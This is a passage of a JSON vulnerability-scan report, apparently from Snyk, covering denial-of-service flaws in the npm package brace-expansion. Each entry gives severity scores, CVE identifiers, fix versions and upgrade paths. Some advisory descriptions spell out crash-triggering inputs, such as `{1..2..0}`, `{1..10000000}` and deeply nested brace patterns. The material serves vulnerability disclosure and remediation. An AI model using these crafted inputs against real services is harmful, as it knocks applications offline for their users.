"title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], 